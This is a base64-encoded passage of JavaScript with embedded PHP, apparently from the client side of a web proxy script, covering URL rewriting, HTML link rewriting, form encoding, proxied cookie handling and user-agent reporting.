BUKyI/PSIrKCF0aGlzLkVOQ1JZUFRfVVJMUz9lc2NhcGUodXJsKTp1cmwpOyAvLyB1cmxlbmNvZGUoKWQNCgkJdXJsPXRoaXMuVEhJU19TQ1JJUFQrIj89Iit1cmw7IC8vIHVybGVuY29kZSgpZA0KCQl0aGlzLnNldF9sYWJlbChsYWJlbCk7DQoJCXJldHVybiB1cmw7DQoJfQ0KDQoJaWYodXJsLmxlbmd0aD48P3BocCBlY2hvKE1BWElNVU1fVVJMX0xFTkdUSCk/Pil7DQoJCS8vYWxlcnQodGhpcy51cmwpOyAvLyBERUJVRw0KCQkvL2FsZXJ0KHRoaXMudXJsLmxlbmd0aCk7IC8vIERFQlVHDQoJCXRoaXMudXJsPSIiOw0KCX0NCgllbHNlew0KCQkvL3RoaXMudXJsPXByZWdfcmVwbGFjZSgiLyYjKFswLTldKyk7L2UiLCJjaHIoXFwxKSIgLy8gcGFyc2UgbGlrZSBQSFAgZG9lcyBmb3IgJiNudW07IEhUTUwgZW50aXRpZXM/IC8vIFRPRE8/DQoJCXRoaXMudXJsPXRoaXMudHJpbSh1cmwucmVwbGFjZSgiJmFtcDsiLCImIikucmVwbGFjZSgiXHIiLCIiKS5yZXBsYWNlKCJcbiIsIiIpKTsNCgl9DQoNCgl0aGlzLnRvcHVybD10b3B1cmw7DQoJdGhpcy5sb2NrZWQ9dXJsLm1hdGNoKDw/cGhwIGVjaG8oQVVSTF9MT0NLX1JFR0VYUCk7ID8+KTsgLy8qDQoNCglpZighdGhpcy5sb2NrZWQpew0KCQl2YXIgdXJsd2FzdmFsaWQ9dHJ1ZTsNCgkJaWYoIXRoaXMudXJsLm1hdGNoKHRoaXMuVVJMUkVHKSl7DQoJCQl1cmx3YXN2YWxpZD1mYWxzZTsNCgkJCWlmKHRoaXMudG9wdXJsPT11bmRlZmluZWQpIHRoaXMudXJsPSJodHRwOi8vIisoKHRoaXMudXJsLmNoYXJBdCgwKT09IjoiIHx8IHRoaXMudXJsLmNoYXJBdCgwKT09Ii8iKT90aGlzLnVybC5zdWJzdHJpbmcoMSk6dGhpcy51cmwpKyh0aGlzLnVybC5pbmRleE9mKCIvIikhPS0xPyIiOiIvIik7DQoJCQllbHNlew0KCQkJCXZhciBuZXd1cmw9dGhpcy50b3B1cmwuZ2V0X3Byb3RvKCkrIjovLyIrdGhpcy5nZXRfZmllbGRyZXEoMix0aGlzLnRvcHVybC5nZXRfdXNlcnBhc3MoKSkrdGhpcy50b3B1cmwuZ2V0X3NlcnZlcm5hbWUoKSsoKHRoaXMudG9wdXJsLmdldF9wb3J0dmFsKCkhPTgwICYmICh0aGlzLnRvcHVybC5nZXRfcHJvdG8oKT09Imh0dHBzIj90aGlzLnRvcHVybC5nZXRfcG9ydHZhbCgpIT00NDM6dHJ1ZSkpPyI6Iit0aGlzLnRvcHVybC5nZXRfcG9ydHZhbCgpOiIiKTsNCgkJCQlpZih0aGlzLnVybC5zdWJzdHJpbmcoMCwxKSE9Ii8iKSBuZXd1cmwrPXRoaXMudG9wdXJsLmdldF9wYXRoKCk7DQoJCQkJdGhpcy51cmw9bmV3dXJsK3RoaXMudXJsOw0KCQkJfQ0KCQl9DQoNCgkJdGhpcy5zZXRfcHJvdG8oKHVybHdhc3ZhbGlkIHx8IHRoaXMudG9wdXJsPT11bmRlZmluZWQ/dGhpcy51cmwucmVwbGFjZSgvXihbXjpdKykuKiQvLCJcJDEiKTp0aGlzLnRvcHVybC5nZXRfcHJvdG8oKSkpOw0KCQl0aGlzLnNldF91c2VycGFzcyh0aGlzLnVybC5yZXBsYWNlKHRoaXMuVVJMUkVHLCJcJDIiKSk7DQoJCXRoaXMuc2V0X3NlcnZlcm5hbWUodGhpcy51cmwucmVwbGFjZSh0aGlzLlVSTFJFRywiXCQzIikpOw0KCQl0aGlzLnNldF9wb3J0dmFsKHRoaXMudXJsLnJlcGxhY2UodGhpcy5VUkxSRUcsIlwkNCIpKTsNCgkJdGhpcy5zZXRfcGF0aCh0aGlzLnVybC5yZXBsYWNlKHRoaXMuVVJMUkVHLCJcJDUiKSk7DQoJCXRoaXMuc2V0X2ZpbGUodGhpcy51cmwucmVwbGFjZSh0aGlzLlVSTFJFRywiXCQ2IikpOw0KCQl0aGlzLnNldF9xdWVyeSh0aGlzLnVybC5yZXBsYWNlKHRoaXMuVVJMUkVHLCJcJDciKSk7DQoJCXRoaXMuc2V0X2xhYmVsKHRoaXMudXJsLnJlcGxhY2UodGhpcy5VUkxSRUcsIlwkOCIpKTsNCgl9DQoNCgkvL2lmKCF0aGlzLmxvY2tlZCAmJiAhdGhpcy51cmwubWF0Y2godGhpcy5VUkxSRUcpKSBoYXZvayg3LHRoaXMudXJsKTsgLy8qDQp9LA0KDQpzdXJyb2dhZnlfdXJsOmZ1bmN0aW9uKHVybCx0b3B1cmwsYWRkcHJveHkpew0KCXVybD11cmwudG9TdHJpbmcoKTsNCglpZighdXJsLnN1YnN0cmluZykgcmV0dXJuOw0KCWlmKGFkZHByb3h5PT11bmRlZmluZWQpIGFkZHByb3h5PXRydWU7DQoJdmFyIHVybHF1b3RlPSIiOw0KCWlmKCh1cmwuc3Vic3RyaW5nKDAsMSk9PSJcIiIgfHwgdXJsLnN1YnN0cmluZygwLDEpPT0iJyIpICYmIHVybC5zdWJzdHJpbmcoMCwxKT09dXJsLnN1YnN0cmluZyh1cmwubGVuZ3RoLTEsdXJsLmxlbmd0aCkpew0KCQl1cmxxdW90ZT11cmwuc3Vic3RyaW5nKDAsMSk7DQoJCXVybD11cmwuc3Vic3RyaW5nKDEsdXJsLmxlbmd0aC0xKTsNCgl9DQoJaWYodG9wdXJsPT11bmRlZmluZWQpIHRvcHVybD10aGlzLmN1cnJfdXJsb2JqOw0KCXZhciB1cmxvYmo9bmV3IHRoaXMuYXVybCh1cmwsdG9wdXJsKTsNCgl2YXIgbmV3X3VybD0oYWRkcHJveHk/dXJsb2JqLnN1cnJvZ2FmeSgpOnVybG9iai5nZXRfdXJsKCkpOw0KCWlmKHVybHF1b3RlIT0iIikgbmV3X3VybD11cmxxdW90ZStuZXdfdXJsK3VybHF1b3RlOw0KCXJldHVybiBuZXdfdXJsOw0KfSwNCg0Kc3Vycm9nYWZ5X3VybF90b29iajpmdW5jdGlvbih1cmwsdG9wdXJsLGFkZHByb3h5KXsNCgl1cmw9dXJsLnRvU3RyaW5nKCk7DQoJaWYoIXVybC5zdWJzdHJpbmcpIHJldHVybjsNCglpZihhZGRwcm94eT09dW5kZWZpbmVkKSBhZGRwcm94eT10cnVlOw0KCWlmKCh1cmwuc3Vic3RyaW5nKDAsMSk9PSJcIiIgfHwgdXJsLnN1YnN0cmluZygwLDEpPT0iJyIpICYmIHVybC5zdWJzdHJpbmcoMCwxKT09dXJsLnN1YnN0cmluZyh1cmwubGVuZ3RoLTEsdXJsLmxlbmd0aCkpIHVybD11cmwuc3Vic3RyaW5nKDEsdXJsLmxlbmd0aC0xKTsNCglpZih0b3B1cmw9PXVuZGVmaW5lZCkgdG9wdXJsPXRoaXMuY3Vycl91cmxvYmo7DQoJcmV0dXJuIG5ldyB0aGlzLmF1cmwodXJsLHRvcHVybCk7DQp9LA0KDQpkZV9zdXJyb2dhZnlfdXJsOmZ1bmN0aW9uKHVybCl7DQoJaWYodXJsPT11bmRlZmluZWQpIHJldHVybiAiIjsNCgl1cmw9dXJsLnRvU3RyaW5nKCk7DQoJaWYodXJsLm1hdGNoKDw/cGhwIGVjaG8oRlJBTUVfTE9DS19SRUdFWFApOyA/PikgfHwgIXVybC5tYXRjaCg8P3BocCBlY2hvKEFVUkxfTE9DS19SRUdFWFApOyA/PikpIHJldHVybiB1cmw7DQoJcmV0dXJuIHRoaXMucGUucHJveGRlYyhkZWNvZGVVUklDb21wb25lbnQodXJsLnN1YnN0cmluZyh1cmwuaW5kZXhPZignPycpKzEpLnJlcGxhY2UoPD9waHAgZWNobyhQQUdFVFlQRV9SRUdFWFApOyA/PiwiXCQyIikpKTsgLy8gdXJsZGVjb2RlKCkNCn0sDQoNCmFkZF9xdWVyeXN0dWZmOmZ1bmN0aW9uKHVybCxxdWVyeXN0dWZmKXsNCgl2YXIgcG9zPXVybC5pbmRleE9mKCc/Jyk7DQoJcmV0dXJuIHVybC5zdWJzdHIoMCxwb3MrMSkrcXVlcnlzdHVmZit1cmwuc3Vic3RyKHBvcysxLHVybC5sZW5ndGgtcG9zKTsNCn0sDQoNCnByZWdfbWF0Y2hfYWxsOmZ1bmN0aW9uKHJlZ2V4cHN0cixzdHJpbmcpew0KCXZhciBtYXRjaGFycj1uZXcgQXJyYXkoKTsNCgl2YXIgcmVnZXhwPW5ldyBSZWdFeHAocmVnZXhwc3RyKTsNCgl2YXIgcmVzdWx0Ow0KCXdoaWxlKHRydWUpew0KCQlyZXN1bHQ9cmVnZXhwLmV4ZWMoc3RyaW5nKTsNCgkJaWYocmVzdWx0IT1udWxsKSBtYXRjaGFyci5wdXNoKHJlc3VsdCk7DQoJCWVsc2UgYnJlYWs7DQoJfQ0KCXJldHVybiBtYXRjaGFycjsNCn0sDQoNCmZyYW1pZnlfdXJsOmZ1bmN0aW9uKHVybCxmcmFtZV90eXBlKXsNCglpZigoZnJhbWVfdHlwZSE9PTw/cGhwIGVjaG8oUEFHRVRZUEVfRlJBTUVfVE9QKTsgPz4gfHwgIXRoaXMuVVJMX0ZPUk0pICYmIChmcmFtZV90eXBlIT09PD9waHAgZWNobyhQQUdFVFlQRV9GUkFNRURfUEFHRSk7ID8+ICYmICF0aGlzLlBBR0VfRlJBTUVEKSkgcmV0dXJuIHVybDsNCgl2YXIgdXJscXVvdGU9IiI7DQoJaWYoKHVybC5zdWJzdHJpbmcoMCwxKT09IlwiIiB8fCB1cmwuc3Vic3RyaW5nKDAsMSk9PSInIikgJiYgdXJsLnN1YnN0cmluZygwLDEpPT11cmwuc3Vic3RyaW5nKHVybC5sZW5ndGgtMSx1cmwubGVuZ3RoKSl7DQoJCXVybHF1b3RlPXVybC5zdWJzdHJpbmcoMCwxKTsNCgkJdXJsPXVybC5zdWJzdHJpbmcoMSx1cmwubGVuZ3RoLTEpOw0KCX0NCglpZighdXJsLm1hdGNoKDw/cGhwIGVjaG8oRlJBTUVfTE9DS19SRUdFWFApOyA/Pikpew0KCQl2YXIgcXVlcnk7DQoJCWlmKGZyYW1lX3R5cGU9PT08P3BocCBlY2hvKFBBR0VUWVBFX0ZSQU1FX1RPUCk7ID8+ICYmIHRoaXMuVVJMX0ZPUk0pIHF1ZXJ5PScmPSc7DQoJCWVsc2UgaWYoZnJhbWVfdHlwZT09PTw/cGhwIGVjaG8oUEFHRVRZUEVfRlJBTUVEX0NISUxEKTsgPz4pIHF1ZXJ5PScuJj0nOw0KCQllbHNlIGlmKGZyYW1lX3R5cGU9PT08P3BocCBlY2hvKFBBR0VUWVBFX0ZSQU1FRF9QQUdFKTsgPz4gfHwgdGhpcy5QQUdFX0ZSQU1FRCkgcXVlcnk9J18mPSc7DQoJCWVsc2UgcXVlcnk9Jyc7DQoJCXVybD11cmwucmVwbGFjZSgvXihbXlw/XSopW1w/XT88P3BocCBlY2hvKFBBR0VUWVBFX01JTklSRUdFWFApOyA/PihbXiNdKj9bI10/Lio/KSQvLCdcJDE/PScrcXVlcnkrJ1wkMycpOw0KCX0NCglpZih1cmxxdW90ZSE9IiIpIHVybD11cmxxdW90ZSt1cmwrdXJscXVvdGU7DQoJcmV0dXJuIHVybDsNCn0sDQoNCnBhcnNlX2h0bWw6ZnVuY3Rpb24ocmVnZXhwLHBhcnRvcGFyc2UsaHRtbCxhZGRwcm94eSxmcmFtaWZ5KXsNCgl2YXIgbWF0Y2gsYmVnaW4sZW5kLG51cmw7DQoJaWYoaHRtbC5tYXRjaChyZWdleHApKXsNCgkJdmFyIG1hdGNoYXJyPXRoaXMucHJlZ19tYXRjaF9hbGwocmVnZXhwLGh0bWwpOw0KCQl2YXIgbmV3aHRtbD0iIjsNCgkJZm9yKHZhciBrZXkgaW4gbWF0Y2hhcnIpew0KCQkJLyptYXRjaD1tYXRjaGFycltpXTsNCgkJCW51cmw9dGhpcy5zdXJyb2dhZnlfdXJsKG1hdGNoW3BhcnRvcGFyc2VdLHVuZGVmaW5lZCxhZGRwcm94eSk7DQoJCQluaHRtbD1tYXRjaFswXS5yZXBsYWNlKG1hdGNoW3BhcnRvcGFyc2VdLG51cmwpOw0KCQkJaHRtbD1odG1sLnJlcGxhY2UobWF0Y2hbMF0sbmh0bWwpOyovDQoJCQltYXRjaD1tYXRjaGFycltrZXldOw0KCQkJaWYobWF0Y2hbcGFydG9wYXJzZV0hPXVuZGVmaW5lZCl7DQoJCQkJYmVnaW49aHRtbC5pbmRleE9mKG1hdGNoW3BhcnRvcGFyc2VdKTsNCgkJCQllbmQ9YmVnaW4rbWF0Y2hbcGFydG9wYXJzZV0ubGVuZ3RoOw0KCQkJCW51cmw9dGhpcy5zdXJyb2dhZnlfdXJsKG1hdGNoW3BhcnRvcGFyc2VdLHVuZGVmaW5lZCxhZGRwcm94eSk7DQoJCQkJaWYoZnJhbWlmeSkgbnVybD10aGlzLmZyYW1pZnlfdXJsKG51cmwsZnJhbWlmeSk7DQoJCQkJbmV3aHRtbCs9aHRtbC5zdWJzdHJpbmcoMCxiZWdpbikrbnVybDsNCgkJCQlodG1sPWh0bWwuc3Vic3RyaW5nKGVuZCk7DQoJCQl9DQoJCX0NCgkJaHRtbD1uZXdodG1sK2h0bWw7DQoJfQ0KCXJldHVybiBodG1sOw0KfSwNCg0KcGFyc2VfYWxsX2h0bWw6ZnVuY3Rpb24oKXsNCglpZihhcmd1bWVudHNbMF09PW51bGwpIHJldHVybjsNCgl2YXIgaHRtbD1hcmd1bWVudHNbMF0udG9TdHJpbmcoKTsNCgl2YXIga2V5Ow0KCWZvcih2YXIga2V5IGluIHJlZ2V4cF9hcnJheXMpew0KCQlpZigoYXJndW1lbnRzLmxlbmd0aD4xICYmIGtleSE9YXJndW1lbnRzWzFdKSB8fCBrZXk9PSd0ZXh0L2phdmFzY3JpcHQnKSBjb250aW51ZTsNCgkJYXJyPXJlZ2V4cF9hcnJheXNba2V5XTsNCgkJZm9yKHZhciByZWdleHBfYXJyYXlrZXkgaW4gYXJyKXsNCgkJCXJlZ2V4cF9hcnJheT1hcnJbcmVnZXhwX2FycmF5a2V5XTsNCgkJCWlmKHJlZ2V4cF9hcnJheVswXT09dW5kZWZpbmVkKSBjb250aW51ZTsNCgkJCWlmKHJlZ2V4cF9hcnJheVswXT09MSkgaHRtbD1odG1sLnJlcGxhY2UocmVnZXhwX2FycmF5WzFdLHJlZ2V4cF9hcnJheVsyXSk7DQoJCQllbHNlIGlmKHJlZ2V4cF9hcnJheVswXT09Mil7DQoJCQkJYWRkcHJveHk9KHJlZ2V4cF9hcnJheS5sZW5ndGg+Mz9yZWdleHBfYXJyYXlbM106dHJ1ZSk7DQoJCQkJZnJhbWlmeT0ocmVnZXhwX2FycmF5Lmxlbmd0aD40P3JlZ2V4cF9hcnJheVs0XTpmYWxzZSk7DQoJCQkJaHRtbD10aGlzLnBhcnNlX2h0bWwocmVnZXhwX2FycmF5WzFdLHJlZ2V4cF9hcnJheVsyXSxodG1sLGFkZHByb3h5LGZyYW1pZnkpOw0KCQkJfQ0KCQl9DQoJfQ0KCXJldHVybiBodG1sOw0KfSwNCg0KZm9ybV9idXR0b246bnVsbCwNCmZvcm1fZW5jcnlwdDpmdW5jdGlvbihmb3JtKXsNCglpZihmb3JtLm1ldGhvZD09J3Bvc3QnKSByZXR1cm4gdHJ1ZTsNCgkvL2FjdGlvbj1mb3JtLjxwaHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZTsNCgl2YXIgYWN0aW9uPWZvcm0uZ2V0RWxlbWVudHNCeU5hbWUodGhpcy5DT09LX1BSRUYpWzBdLnZhbHVlOw0KCWZvcih2YXIgaT0xO2k8Zm9ybS5lbGVtZW50cy5sZW5ndGg7aSsrKXsNCgkJaWYoZm9ybS5lbGVtZW50c1tpXS5kaXNhYmxlZCB8fCBmb3JtLmVsZW1lbnRzW2ldLm5hbWU9PScnIHx8IGZvcm0uZWxlbWVudHNbaV0udmFsdWU9PScnIHx8IGZvcm0uZWxlbWVudHNbaV0udHlwZT09J3Jlc2V0JykgY29udGludWU7DQoJCWlmKGZvcm0uZWxlbWVudHNbaV0udHlwZT09J3N1Ym1pdCcpew0KCQkJaWYoZm9ybS5lbGVtZW50c1tpXS5uYW1lIT10aGlzLmZvcm1fYnV0dG9uKSBjb250aW51ZTsNCgkJCXRoaXMuZm9ybV9idXR0b249bnVsbDsNCgkJfQ0KCQl2YXIgcHJlZjsNCgkJaWYoIWFjdGlvbi5tYXRjaCgvXD8vKSkgcHJlZj0iPyI7DQoJCWVsc2UgcHJlZj0iJiI7DQoJCWFjdGlvbis9cHJlZitmb3JtLmVsZW1lbnRzW2ldLm5hbWUrIj0iK2Zvcm0uZWxlbWVudHNbaV0udmFsdWU7DQoJfQ0KCWxvY2F0aW9uLmhyZWY9dGhpcy5zdXJyb2dhZnlfdXJsKGFjdGlvbik7DQoJcmV0dXJuIGZhbHNlOw0KfSwNCg0Kc2V0QXR0cjpmdW5jdGlvbihvYmosYXR0cix2YWwpew0KCWlmKHR5cGVvZihhdHRyKSE9dHlwZW9mKCIiKSl7DQoJCWF0dHI9YXR0ci50b1N0cmluZygpOw0KCQlhdHRyPWF0dHIuc3Vic3RyKDEsYXR0ci5sZW5ndGgtMik7DQoJfQ0KDQoJaWYoYXR0cj09ImlubmVySFRNTCIpew0KCQlvYmpbYXR0cl09dGhpcy5wYXJzZV9hbGxfaHRtbCh2YWwpOw0KCQlyZXR1cm4gb2JqW2F0dHJdOw0KCX0NCg0KCWlmKG9iaj09bG9jYXRpb24gJiYgYXR0cj09Imhvc3RuYW1lIikgcmV0dXJuIHRoaXMuTE9DQVRJT05fSE9TVE5BTUU7DQoNCglpZihvYmo9PWRvY3VtZW50ICYmIGF0dHI9PSJjb29raWUiKXsNCgkJY29uc3QgQ09PS19SRUc9L14oW149XSopPShbXjtdKikoPzo7W1xzXFNdKj8pPyQvaTsNCgkJdmFyIHJlYWxob3N0PXRoaXMuTE9DQVRJT05fSE9TVE5BTUUucmVwbGFjZSgiL153d3cvaSIsIiIpLnJlcGxhY2UoIi4iLCJfIik7DQoJCXZhciBjb29ra2V5PXZhbC5yZXBsYWNlKENPT0tfUkVHLCJcJDEiKTsNCgkJdmFyIGNvb2t2YWw9dmFsLnJlcGxhY2UoQ09PS19SRUcsIlwkMiIpOw0KCQlpZih0aGlzLkVOQ1JZUFRfQ09PS1Mpew0KCQkJY29va2tleT1wcm94ZW5jKGNvb2trZXkpOw0KCQkJY29va3ZhbD1wcm94ZW5jKGNvb2t2YWwpOw0KCQl9DQoJCXZhciBuZXdjb29raWU9cmVhbGhvc3QrIjw/cGhwIGVjaG8oQ09PS0lFX1NFUEFSQVRPUik7ID8+Iitjb29ra2V5KyI9Iitjb29rdmFsKyI7ICI7DQoJCWRvY3VtZW50LmNvb2tpZT1uZXdjb29raWU7DQoJCXJldHVybiBuZXdjb29raWU7DQoJfQ0KDQoJaWYob2JqPT1sb2NhdGlvbiAmJiBhdHRyPT0ic2VhcmNoIil7DQoJCWlmKHZhbC5zdWJzdHIoMCwxKT09Ij8iKSB2YWw9dmFsLnN1YnN0cigxKTsNCgkJdGhpcy5jdXJyX3VybG9iai5zZXRfcXVlcnkodmFsKTsNCgkJdmFsPXRoaXMuY3Vycl91cmxvYmouZ2V0X3VybCgpOw0KCQlhdHRyPSJocmVmIjsNCgl9DQoNCgl2YXIgcHJveHVybD12YWw7DQoJaWYoYXR0ciE9ImNvb2tpZSIgJiYgYXR0ciE9InNlYXJjaCIgJiYgYXR0ciE9Imhvc3RuYW1lIil7DQoJCXByb3h1cmw9dGhpcy5zdXJyb2dhZnlfdXJsKHZhbCk7DQoNCgkJLy8gdGFncyBmcmFtaWZpZWQgIG11c3QgbWF0Y2ggUkVHRVhQUyB3aXRoIHJlZ2V4cF9hcnJheVs1XQ0KCQlpZihvYmoudGFnTmFtZT09IkEiIHx8IG9iai50YWdOYW1lPT0iQVJFQSIpDQoJCQlwcm94dXJsPXRoaXMuZnJhbWlmeV91cmwocHJveHVybCw8P3BocCBlY2hvKE5FV19QQUdFVFlQRV9GUkFNRV9UT1ApOyA/Pik7DQoJCWVsc2UgaWYob2JqLnRhZ05hbWU9PSJGUkFNRSIgfHwgb2JqLnRhZ05hbWU9PSJJRlJBTUUiKQ0KCQkJcHJveHVybD10aGlzLmZyYW1pZnlfdXJsKHByb3h1cmwsPD9waHAgZWNobyhQQUdFVFlQRV9GUkFNRURfQ0hJTEQpOyA/Pik7DQoJfQ0KDQoJaWYodGhpcy5VUkxfRk9STSl7DQoJCWlmKChvYmo9PWxvY2F0aW9uICYmIGF0dHI9PSJocmVmIikgfHwgYXR0cj09ImxvY2F0aW9uIil7DQoJCQl1cmxvYmo9dGhpcy5zdXJyb2dhZnlfdXJsX3Rvb2JqKHZhbCk7DQoJCQlpZighdXJsb2JqLmxvY2tlZCkgcHJveHVybD10aGlzLmFkZF9xdWVyeXN0dWZmKHByb3h1cmwsIj0mIik7DQoJCQl0aGlzLnRoZXRvcC5sb2NhdGlvbi5ocmVmPXByb3h1cmw7DQoJCX0NCgkJZWxzZSBvYmpbYXR0cl09cHJveHVybDsNCgl9DQoJZWxzZSBvYmpbYXR0cl09cHJveHVybDsNCn0sDQoNCmdldEF0dHI6ZnVuY3Rpb24ob2JqLGF0dHIpew0KCWlmKHR5cGVvZihhdHRyKSE9dHlwZW9mKCIiKSl7DQoJCWF0dHI9YXR0ci50b1N0cmluZygpOw0KCQlhdHRyPWF0dHIuc3Vic3RyKDEsYXR0ci5sZW5ndGgtMik7DQoJfQ0KDQoJaWYob2JqPT1kb2N1bWVudCAmJiBhdHRyPT0iY29va2llIil7DQoJCXZhciBvY29va2llcz10aGlzLmdldENvb2tpZUFycigpOw0KCQl2YXIgY29va2llcz0iIixvY29vazsNCgkJY29uc3QgQ09PS19SRUc9L14oW1xzXFNdKik8P3BocCBlY2hvKENPT0tJRV9TRVBBUkFUT1IpOyA/PihbXj1dKik9KFtcc1xTXSopKD86OyApPyQvaTsNCgkJZm9yKHZhciBrZXkgaW4gb2Nvb2tpZXMpew0KCQkJb2Nvb2s9b2Nvb2tpZXNba2V5XTsNCgkJCWlmKHR5cGVvZihvY29vaykhPXR5cGVvZigiIikpIGNvbnRpbnVlOw0KCQkJaWYob2Nvb2subWF0Y2goQ09PS19SRUcpPT1udWxsKSBjb250aW51ZTsNCgkJCXZhciByZWFsaG9zdD10aGlzLkxPQ0FUSU9OX0hPU1ROQU1FLnJlcGxhY2UoIi9ed3d3L2kiLCIiKS5yZXBsYWNlKCIuIiwiXyIpOw0KCQkJdmFyIGNvb2tob3N0PW9jb29rLnJlcGxhY2UoQ09PS19SRUcsIlwkMSIpOw0KCQkJaWYoY29va2hvc3Q9PXJlYWxob3N0KXsNCgkJCQlpZih0aGlzLkVOQ1JZUFRfQ09PS1Mpew0KCQkJCQl2YXIgY29va2tleT10aGlzLnBlLnByb3hkZWMob2Nvb2sucmVwbGFjZShDT09LX1JFRywiXCQyIikpOw0KCQkJCQl2YXIgY29va3ZhbD10aGlzLnBlLnByb3hkZWMob2Nvb2sucmVwbGFjZShDT09LX1JFRywiXCQzIikpOw0KCQkJCQljb29raWVzKz1jb29ra2V5KyI9Iitjb29rdmFsKyI7ICI7DQoJCQkJfQ0KCQkJCWVsc2UgY29va2llcys9b2Nvb2sucmVwbGFjZShDT09LX1JFRywiXCQyPVwkMzsgIik7DQoJCQl9DQoJCX0NCgkJcmV0dXJuIGNvb2tpZXM7DQoJfQ0KDQoJaWYob2JqPT1uYXZpZ2F0b3Ipew0KCQlpZih0aGlzLlVTRVJBR0VOVD09Ii0xIiAmJiAoYXR0ciE9InBsdWdpbnMiICYmIGF0dHIhPSJtaW1lVHlwZSIpKSByZXR1cm4gdW5kZWZpbmVkOw0KCQlpZih0aGlzLlVTRVJBR0VOVD09IiIpIHJldHVybiBvYmpbYXR0cl07DQoJCXZhciBtc2llPXRoaXMuVVNFUkFHRU5ULm1hdGNoKC9tc2llL2kpOw0KCQljb25zdCBVQV9SRUc9L14oW15cL1woXSopXC8/KFteIFwoXSopWyBdKihcKD8oW147XCldKik7PyhbXjtcKV0qKTs/KFteO1wpXSopOz8oW147XCldKik7PyhbXjtcKV0qKTs/W15cKV0qXCk/KVsgXSooW14gXC9dKilcLz8oW14gXC9dKikuKiQvaTsNCgkJc3dpdGNoKGF0dHIpew0KCQkJY2FzZSAidXNlckFnZW50IjogcmV0dXJuIHRoaXMuVVNFUkFHRU5UOw0KCQkJY2FzZSAiYXBwQ29kZU5hbWUiOiByZXR1cm4gdGhpcy5VU0VSQUdFTlQucmVwbGFjZShVQV9SRUcsIlwkMSIpOw0KCQkJY2FzZSAiYXBwVmVyc2lvbiI6IHJldHVybiAobXNpZT90aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQyIFwkMyIpOnRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDIgKFwkNDsgXCQ3KSIpKTsNCgkJCWNhc2UgInBsYXRmb3JtIjoNCgkJCQl2YXIgdGVtcHBsYXRmb3JtPXRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDQiKTsNCgkJCQlyZXR1cm4gKHRlbXBwbGF0Zm9ybT09ImNvbXBhdGlibGUiIHx8IHRlbXBwbGF0Zm9ybT09IldpbmRvd3MiPyJXaW4zMiI6dGhpcy5VU0VSQUdFTlQucmVwbGFjZShVQV9SRUcsIlwkNiIpKTsNCgkJCWNhc2UgIm9zY3B1IjogcmV0dXJuIChtc2llP3VuZGVmaW5lZDp0aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQ2IikpOw0KCQkJY2FzZSAibGFuZ3VhZ2UiOiByZXR1cm4gKG1zaWU/dW5kZWZpbmVkOnRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDciKSk7DQoJCQljYXNlICJhcHBOYW1lIjoNCgkJCQl2YXIgdGVtcGFwcG5hbWU9KG1zaWU/Ik1pY3Jvc29mdCBJbnRlcm5ldCBFeHBsb3JlciI6dGhpcy5VU0VSQUdFTlQucmVwbGFjZShVQV9SRUcsIlwkMSIpKTsNCgkJCQlpZih0ZW1wYXBwbmFtZT09Ik9wZXJhIiB8fCB0ZW1wYXBwbmFtZT09Ik1vemlsbGEiKSB0ZW1wYXBwbmFtZT0iTmV0c2NhcGUiOw0KCQkJCXJldHVybiB0ZW1wYXBwbmFtZTsNCgkJCWNhc2UgInByb2R1Y3QiOiByZXR1cm4gKG1zaWU/dW5kZWZpbmVkOnRoaXMuVVNFUkFHRU5ULnJlcGxhY2UoVUFfUkVHLCJcJDkiKSk7DQoJCQljYXNlICJwcm9kdWN0U3ViIjogcmV0dXJuIChtc2llP3VuZGVmaW5lZDp0aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQxMCIpKTsNCgkJCWNhc2UgInBsdWdpbnMiOiByZXR1cm4gKDw/cGhwIGVjaG8oKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3RzJ10pPycxJzonMCcpKTsgPz49PTE/bmF2aWdhdG9yLnBsdWdpbnM6dW5kZWZpbmVkKTsNCgkJCWNhc2UgIm1pbWVUeXBlIjogcmV0dXJuIG5hdmlnYXRvci5taW1lVHlwZTsNCgkJCWRlZmF1bHQ6IHJldHVybiB1bmRlZmluZWQ7DQoJCX0NCgl9DQoNCglpZihvYmo9PWxvY2F0aW9uICYmIGF0dHI9PSJzZWFyY2giKSB1cmw9bG9jYXRpb24uaHJlZjsNCgllbHNlIHVybD1vYmpbYXR0cl07DQoJdXJsPXRoaXMuZGVfc3Vycm9nYWZ5X3VybCh1cmwpOw0KCWlmKG9iaj09bG9jYXRpb24gJiYgYXR0cj09InNlYXJjaCIpIHVybD11cmwucmVwbGFjZSgvXlteP10qLywiIik7DQoJcmV0dXJuIHVybDsNCn0sDQoNCmV2ZW50aWZ5OmZ1bmN0aW9uKGExLGEyKXsNCglkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLGZ1bmN0aW9uKCl7PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5zZXRQYXJlbnRTdHVmZihhMSxhMik7fSxmYWxzZSk7DQoJd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLGZ1bmN0aW9uKCl7PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5zZXRQYXJlbnRTdHVmZihhMSxhMik7fSxmYWxzZSk7DQoJdGhpcy5zZXRQYXJlbnRVUkwodGhpcy5DVVJSX1VSTCk7DQp9LA0KDQpzZXRQYXJlbnRVUkw6ZnVuY3Rpb24odXJsKXsNCglpZih0aGlzLnRoZXRvcCE9bnVsbCAmJiB0aGlzLnRoZXRvcCE9d2luZG93KXsNCgkJdGhpcy50aGV0b3AuZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VybCcpLnZhbHVlPXVybDsNCgkJdGhpcy50aGV0b3AuZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Byb3h5X2xpbmsnKS5ocmVmPXRoaXMuYWRkX3F1ZXJ5c3R1ZmYodGhpcy5zdXJyb2dhZnlfdXJsKHVybCksIj0tJiIpOw0KCX0NCn0sDQoNCnNldFBhcmVudFN0dWZmOmZ1bmN0aW9uKHB